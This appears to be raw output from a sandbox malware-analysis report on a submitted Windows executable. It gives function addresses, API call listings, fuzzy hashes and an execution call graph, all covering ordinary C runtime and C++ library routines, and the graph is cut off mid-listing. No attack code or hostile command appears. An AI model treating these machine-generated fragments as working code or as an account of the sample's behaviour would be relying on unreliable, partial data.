                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 1913693674-0
                                                              • Opcode ID: 32eb2da95e1c30c696cd531eb37090cc877827b4d8524ae3f2b22558c4ec7caa
                                                              • Instruction ID: 4fd0aeb2bbda9b20f8b740d97199a2953df784918a6ee20eca79c612f5a86470
                                                              • Opcode Fuzzy Hash: 32eb2da95e1c30c696cd531eb37090cc877827b4d8524ae3f2b22558c4ec7caa
                                                              • Instruction Fuzzy Hash: 7021A1F2A00206AFDB30AFA5C8A08EBB7EBFF05364710C518F91597260D731ED918B90
                                                              Function 006A8496 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 5f035e57fa9b9b161f8f8702c32686a6114910d322a6c90d6837f4fbf1f0c4eb
                                                              • Instruction ID: 0c04e9477377e91bbe6d2614afc30a89779fdf436becf11f118ec21e9dbcb8fa
                                                              • Opcode Fuzzy Hash: 5f035e57fa9b9b161f8f8702c32686a6114910d322a6c90d6837f4fbf1f0c4eb
                                                              • Instruction Fuzzy Hash: 60216F71A00205AFDBA0BF65D8819AB77EBEF063647148A18FD1997251EF31ED508FA0
                                                              Function 006B3452 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetEnvironmentStringsW.KERNEL32(00000000,?,?,?,006A8EFD,00000000,006A8ED0,006A916E,0069D6A3,006C7688,00000014), ref: 006B345A
                                                                • Part of subcall function 006B21FC: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006AFC56,?,00000000,-00000008), ref: 006B22A8
                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006B3492
                                                              • FreeEnvironmentStringsW.KERNEL32(00000000,00000000), ref: 006B34B2
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: EnvironmentStrings$Free$ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 158306478-0
                                                              • Opcode ID: e4d8e022a50acd82bdd4f6ad4ce49449e7ec58a93b5137a83dc34f28e726847a
                                                              • Instruction ID: 6410977215b733a624181aaedb8f37333d4b499f031061bf572622c2d54b3c4e
                                                              • Opcode Fuzzy Hash: e4d8e022a50acd82bdd4f6ad4ce49449e7ec58a93b5137a83dc34f28e726847a
                                                              • Instruction Fuzzy Hash: 0F11E1F1A116257FE72267B6AC8ACEF69AECE473A43100228F90191302EA21CF815674
                                                              Function 00692C41 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692C4D
                                                              • int.LIBCPMT ref: 00692C60
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692C93
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692CA9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: ac198826321e47678f719bd52e5dd1da0f6930f877597b2055571c240dd4e774
                                                              • Instruction ID: 0f790128144beed357a4320d603d03aca7a2e51dc9aa8dc358b47db5918079af
                                                              • Opcode Fuzzy Hash: ac198826321e47678f719bd52e5dd1da0f6930f877597b2055571c240dd4e774
                                                              • Instruction Fuzzy Hash: A601F272900514FFCF55AB68C8158AE7BAEEF40760B20020DF905AB690EF30AE42C788
                                                              Function 00692CBA Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692CC6
                                                              • int.LIBCPMT ref: 00692CD9
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692D0C
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692D22
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: 8c124ac205884129bbb94f00ea4bcfc10552acb7632f0ee7ec855cb1c49ada7e
                                                              • Instruction ID: 10c7215ee857d7a149bcc8c4b97244a98cd735f76800c22b088df115ce91e455
                                                              • Opcode Fuzzy Hash: 8c124ac205884129bbb94f00ea4bcfc10552acb7632f0ee7ec855cb1c49ada7e
                                                              • Instruction Fuzzy Hash: 9C012B72500614FFCF15AB54DC558EE776EDF80760B24010DFA059B691EF30AE42D788
                                                              Function 00692D33 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692D3F
                                                              • int.LIBCPMT ref: 00692D52
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692D85
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692D9B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: 3e19169bf27f269c2167b8a16d2481cc427818f2320fbbcccde504b89bce6a44
                                                              • Instruction ID: 7ab80020633ddda14574c5b96f595c5867e7d65a6befec6775163b68674426eb
                                                              • Opcode Fuzzy Hash: 3e19169bf27f269c2167b8a16d2481cc427818f2320fbbcccde504b89bce6a44
                                                              • Instruction Fuzzy Hash: 14012672500514BFCF15ABA8D855CED77AEDF80B20F20010EF905AB690EF30AE42C788
                                                              Function 00692DAC Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692DB8
                                                              • int.LIBCPMT ref: 00692DCB
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692DFE
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692E14
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: baef315df75f4bf61dde41365b3b45011a8281c480c8f66b1e1e44675af1ec07
                                                              • Instruction ID: ff56c276ddfddf9f98aa75b664a208df438a4f2782710dfb9fe9565c01b689ed
                                                              • Opcode Fuzzy Hash: baef315df75f4bf61dde41365b3b45011a8281c480c8f66b1e1e44675af1ec07
                                                              • Instruction Fuzzy Hash: AF012672500614BFCF15AB64DC958EE776EDF80724B20011DF9069BB92EF30AE82D788
                                                              Function 00692E25 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692E31
                                                              • int.LIBCPMT ref: 00692E44
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692E77
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692E8D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: e3ecc6bd1fbf0ef7ec124e597f565dc1c9e0a7261f27e7f668fa8f34071a77e6
                                                              • Instruction ID: 58d4d9f1fe43cff8ed8c4412a36c5380d3c9ae0081200a6922cd8a96b907d788
                                                              • Opcode Fuzzy Hash: e3ecc6bd1fbf0ef7ec124e597f565dc1c9e0a7261f27e7f668fa8f34071a77e6
                                                              • Instruction Fuzzy Hash: 3801F772500119BFCF15AB54D8558AE776EEF40760B11010DF5059B791DF30AE02C788
                                                              Function 00692E9E Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00692EAA
                                                              • int.LIBCPMT ref: 00692EBD
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • std::_Facet_Register.LIBCPMT ref: 00692EF0
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00692F06
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                              • String ID:
                                                              • API String ID: 459529453-0
                                                              • Opcode ID: 1fc94d0a09e050c5dce261f3519127cce266832e5377bf2d28b926de8c63c81e
                                                              • Instruction ID: 4557c8493cc3da545d84b14424987c55d60b3711258201bbf681e6b47db804e7
                                                              • Opcode Fuzzy Hash: 1fc94d0a09e050c5dce261f3519127cce266832e5377bf2d28b926de8c63c81e
                                                              • Instruction Fuzzy Hash: 5301A772500515BFCF15AB58DC558AE776EDF40360B14014DF906AB691EF30AE42D798
                                                              Function 006B985F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,006B8615,00000000,00000001,00000000,00000000,?,006B0477,00000000,00000000,00000000), ref: 006B9876
                                                              • GetLastError.KERNEL32(?,006B8615,00000000,00000001,00000000,00000000,?,006B0477,00000000,00000000,00000000,00000000,00000000,?,006B09FE,?), ref: 006B9882
                                                                • Part of subcall function 006B9848: CloseHandle.KERNEL32(FFFFFFFE,006B9892,?,006B8615,00000000,00000001,00000000,00000000,?,006B0477,00000000,00000000,00000000,00000000,00000000), ref: 006B9858
                                                              • ___initconout.LIBCMT ref: 006B9892
                                                                • Part of subcall function 006B980A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006B9839,006B8602,00000000,?,006B0477,00000000,00000000,00000000,00000000), ref: 006B981D
                                                              • WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,006B8615,00000000,00000001,00000000,00000000,?,006B0477,00000000,00000000,00000000,00000000), ref: 006B98A7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                              • String ID:
                                                              • API String ID: 2744216297-0
                                                              • Opcode ID: 73a47a78f5b34f375ac3a404209437ec32b7071b1f50ec284638a96ddd1c18e2
                                                              • Instruction ID: e813f3eedcc93d609f8b925deeaa7354d16557303930587401b55a1ef8c546bc
                                                              • Opcode Fuzzy Hash: 73a47a78f5b34f375ac3a404209437ec32b7071b1f50ec284638a96ddd1c18e2
                                                              • Instruction Fuzzy Hash: 1BF0C076500164BBCF622F95DC099DD3F67FF4A3B1F154614FF19A5231CA328AA0ABA0
                                                              Function 006A0D57 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • EncodePointer.KERNEL32(00000000,?), ref: 006A0D7C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: EncodePointer
                                                              • String ID: MOC$RCC
                                                              • API String ID: 2118026453-2084237596
                                                              • Opcode ID: 357815b499bb432c7e4fda3413860b30f10f769f1d6fce53130c4ef4c614d04c
                                                              • Instruction ID: f150b45003fa4c2e182271d88277f04a62fd13bdedd3d7149392c774be628886
                                                              • Opcode Fuzzy Hash: 357815b499bb432c7e4fda3413860b30f10f769f1d6fce53130c4ef4c614d04c
                                                              • Instruction Fuzzy Hash: EF418872900209AFEF15EF94CC81AEEBBB6FF4A304F148499FA04A6261D335AD50DF51
                                                              Function 0069344C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00693453
                                                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0069348B
                                                                • Part of subcall function 00699E2B: _Yarn.LIBCPMT ref: 00699E4A
                                                                • Part of subcall function 00699E2B: _Yarn.LIBCPMT ref: 00699E6E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                                              • String ID: bad locale name
                                                              • API String ID: 1908188788-1405518554
                                                              • Opcode ID: 1c7bfbf4709d9cd85b098fd9b4054b57784a14c172385f5f7533589983c6a17f
                                                              • Instruction ID: bd91ccb287fd81a2ffc61a46e7bf30533697ec19a39787276d046f8d2f868ab1
                                                              • Opcode Fuzzy Hash: 1c7bfbf4709d9cd85b098fd9b4054b57784a14c172385f5f7533589983c6a17f
                                                              • Instruction Fuzzy Hash: 27F01DB1505B409E87719F6A8481447FBE9BE29710394CA2FE0DEC3A11D730A504CB6A

                                                              Execution Graph

                                                              Execution Coverage:5.2%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:2000
                                                              Total number of Limit Nodes:63
                                                              execution_graph 19780 401047 19783 4076cb 19780->19783 19786 40769e 19783->19786 19787 4076b4 19786->19787 19788 4076ad 19786->19788 19795 413230 19787->19795 19792 4131b3 19788->19792 19791 40104c 19793 413230 44 API calls 19792->19793 19794 4131c5 19793->19794 19794->19791 19798 412f7c 19795->19798 19799 412f88 __FrameHandler3::FrameUnwindToState 19798->19799 19806 40e0c6 EnterCriticalSection 19799->19806 19801 412f96 19807 412fd7 19801->19807 19803 412fa3 19817 412fcb 19803->19817 19806->19801 19808 412ff2 19807->19808 19809 413065 std::_Lockit::_Lockit 19807->19809 19808->19809 19810 413045 19808->19810 19820 41ef6b 19808->19820 19809->19803 19810->19809 19811 41ef6b 44 API calls 19810->19811 19813 41305b 19811->19813 19815 4140f1 ___free_lconv_mon 14 API calls 19813->19815 19814 41303b 19816 4140f1 ___free_lconv_mon 14 API calls 19814->19816 19815->19809 19816->19810 19848 40e10e LeaveCriticalSection 19817->19848 19819 412fb4 19819->19791 19821 41ef93 19820->19821 19822 41ef78 19820->19822 19827 41efa2 19821->19827 19829 4239f1 19821->19829 19822->19821 19823 41ef84 19822->19823 19824 40e072 __Wcrtomb 14 API calls 19823->19824 19828 41ef89 codecvt 19824->19828 19836 419c05 19827->19836 19828->19814 19830 423a11 HeapSize 19829->19830 19831 4239fc 19829->19831 19830->19827 19832 40e072 __Wcrtomb 14 API calls 19831->19832 19833 423a01 19832->19833 19834 40df74 ___std_exception_copy 41 API calls 19833->19834 19835 423a0c 19834->19835 19835->19827 19837 419c12 19836->19837 19838 419c1d 19836->19838 19839 415426 std::_Locinfo::_Locinfo_ctor 15 API calls 19837->19839 19840 419c25 19838->19840 19847 419c2e __dosmaperr 19838->19847 19845 419c1a 19839->19845 19841 4140f1 ___free_lconv_mon 14 API calls 19840->19841 19841->19845 19842 419c33 19844 40e072 __Wcrtomb 14 API calls 19842->19844 19843 419c58 HeapReAlloc 19843->19845 19843->19847 19844->19845 19845->19828 19846 412e98 std::_Facet_Register 2 API calls 19846->19847 19847->19842 19847->19843 19847->19846 19848->19819 19954 406464 19957 406489 19954->19957 19959 406485 19954->19959 19955 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 19956 4064f1 19955->19956 19957->19959 19960 40653f 19957->19960 19961 4064cd 19957->19961 19959->19955 19960->19959 19962 40dcfa 69 API calls 19960->19962 19961->19959 19963 4059eb 19961->19963 19962->19959 19966 40e7fb 19963->19966 19967 40e80e _Fputc 19966->19967 19972 40e5ff 19967->19972 19970 40bbd5 _Fputc 41 API calls 19971 4059f9 19970->19971 19971->19959 19973 40e60b __FrameHandler3::FrameUnwindToState 19972->19973 19974 40e612 19973->19974 19975 40e637 19973->19975 19976 40def7 _Fputc 41 API calls 19974->19976 19983 40bb65 EnterCriticalSection 19975->19983 19978 40e62d 19976->19978 19978->19970 19979 40e646 19984 40e6c3 19979->19984 19983->19979 19985 40e6fa 19984->19985 20005 40e6e8 _Fputc 19984->20005 19986 414bd2 _Ungetc 41 API calls 19985->19986 19987 40e701 19986->19987 19988 414bd2 _Ungetc 41 API calls 19987->19988 19992 40e729 19987->19992 19990 40e712 19988->19990 19989 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 19991 40e657 19989->19991 19990->19992 19993 414bd2 _Ungetc 41 API calls 19990->19993 20006 40e687 19991->20006 19994 414bd2 _Ungetc 41 API calls 19992->19994 19992->20005 19995 40e71e 19993->19995 19996 40e75c 19994->19996 19997 414bd2 _Ungetc 41 API calls 19995->19997 19998 40e77f 19996->19998 19999 414bd2 _Ungetc 41 API calls 19996->19999 19997->19992 20000 41607a _Fputc 43 API calls 19998->20000 19998->20005 20001 40e768 19999->20001 20000->20005 20001->19998 20002 414bd2 _Ungetc 41 API calls 20001->20002 20003 40e774 20002->20003 20004 414bd2 _Ungetc 41 API calls 20003->20004 20004->19998 20005->19989 20009 40bb79 LeaveCriticalSection 20006->20009 20008 40e68d 20008->19978 20009->20008 21338 40657c 21340 406597 21338->21340 21339 4065a9 21340->21339 21342 405a08 21340->21342 21345 40ea6d 21342->21345 21346 40ea79 __FrameHandler3::FrameUnwindToState 21345->21346 21347 40ea80 21346->21347 21348 40ea97 21346->21348 21349 40e072 __Wcrtomb 14 API calls 21347->21349 21358 40bb65 EnterCriticalSection 21348->21358 21351 40ea85 21349->21351 21354 40df74 ___std_exception_copy 41 API calls 21351->21354 21352 40eaa6 21359 40e9b7 21352->21359 21356 405a1a 21354->21356 21355 40eab4 21371 40eae3 21355->21371 21356->21339 21358->21352 21360 40e9cd 21359->21360 21365 40ea30 _Ungetc 21359->21365 21361 418105 _Ungetc 14 API calls 21360->21361 21362 40e9fb 21360->21362 21360->21365 21361->21362 21363 414bd2 _Ungetc 41 API calls 21362->21363 21362->21365 21364 40ea0d 21363->21364 21364->21365 21366 414bd2 _Ungetc 41 API calls 21364->21366 21365->21355 21367 40ea19 21366->21367 21367->21365 21368 414bd2 _Ungetc 41 API calls 21367->21368 21369 40ea25 21368->21369 21370 414bd2 _Ungetc 41 API calls 21369->21370 21370->21365 21374 40bb79 LeaveCriticalSection 21371->21374 21373 40eae9 21373->21356 21374->21373 20144 415002 20145 41500d 20144->20145 20146 41501d 20144->20146 20150 415023 20145->20150 20149 4140f1 ___free_lconv_mon 14 API calls 20149->20146 20151 41503e 20150->20151 20152 415038 20150->20152 20154 4140f1 ___free_lconv_mon 14 API calls 20151->20154 20153 4140f1 ___free_lconv_mon 14 API calls 20152->20153 20153->20151 20155 41504a 20154->20155 20156 4140f1 ___free_lconv_mon 14 API calls 20155->20156 20157 415055 20156->20157 20158 4140f1 ___free_lconv_mon 14 API calls 20157->20158 20159 415060 20158->20159 20160 4140f1 ___free_lconv_mon 14 API calls 20159->20160 20161 41506b 20160->20161 20162 4140f1 ___free_lconv_mon 14 API calls 20161->20162 20163 415076 20162->20163 20164 4140f1 ___free_lconv_mon 14 API calls 20163->20164 20165 415081 20164->20165 20166 4140f1 ___free_lconv_mon 14 API calls 20165->20166 20167 41508c 20166->20167 20168 4140f1 ___free_lconv_mon 14 API calls 20167->20168 20169 415097 20168->20169 20170 4140f1 ___free_lconv_mon 14 API calls 20169->20170 20171 4150a5 20170->20171 20176 414e4f 20171->20176 20177 414e5b __FrameHandler3::FrameUnwindToState 20176->20177 20192 40e0c6 EnterCriticalSection 20177->20192 20179 414e65 20182 4140f1 ___free_lconv_mon 14 API calls 20179->20182 20183 414e8f 20179->20183 20182->20183 20193 414eae 20183->20193 20184 414eba 20185 414ec6 __FrameHandler3::FrameUnwindToState 20184->20185 20197 40e0c6 EnterCriticalSection 20185->20197 20187 414ed0 20188 4150f0 __dosmaperr 14 API calls 20187->20188 20189 414ee3 20188->20189 20198 414f03 20189->20198 20192->20179 20196 40e10e LeaveCriticalSection 20193->20196 20195 414e9c 20195->20184 20196->20195 20197->20187 20201 40e10e LeaveCriticalSection 20198->20201 20200 414ef1 20200->20149 20201->20200 21532 40f516 21533 40f529 _Fputc 21532->21533 21538 40f44d 21533->21538 21535 40f53e 21536 40bbd5 _Fputc 41 API calls 21535->21536 21537 40f54b 21536->21537 21539 40f482 21538->21539 21540 40f45f 21538->21540 21539->21540 21543 40f4a9 21539->21543 21541 40def7 _Fputc 41 API calls 21540->21541 21542 40f47a 21541->21542 21542->21535 21546 40f352 21543->21546 21547 40f35e __FrameHandler3::FrameUnwindToState 21546->21547 21554 40bb65 EnterCriticalSection 21547->21554 21549 40f36c 21555 40f3ad 21549->21555 21551 40f379 21564 40f3a1 21551->21564 21554->21549 21556 40ed28 ___scrt_uninitialize_crt 66 API calls 21555->21556 21557 40f3c8 21556->21557 21558 4149a0 14 API calls 21557->21558 21559 40f3d2 21558->21559 21560 414094 __dosmaperr 14 API calls 21559->21560 21561 40f3ed 21559->21561 21562 40f411 21560->21562 21561->21551 21563 4140f1 ___free_lconv_mon 14 API calls 21562->21563 21563->21561 21567 40bb79 LeaveCriticalSection 21564->21567 21566 40f38a 21566->21535 21567->21566 21575 40bb19 21576 40edf6 ___scrt_uninitialize_crt 70 API calls 21575->21576 21577 40bb21 21576->21577 21585 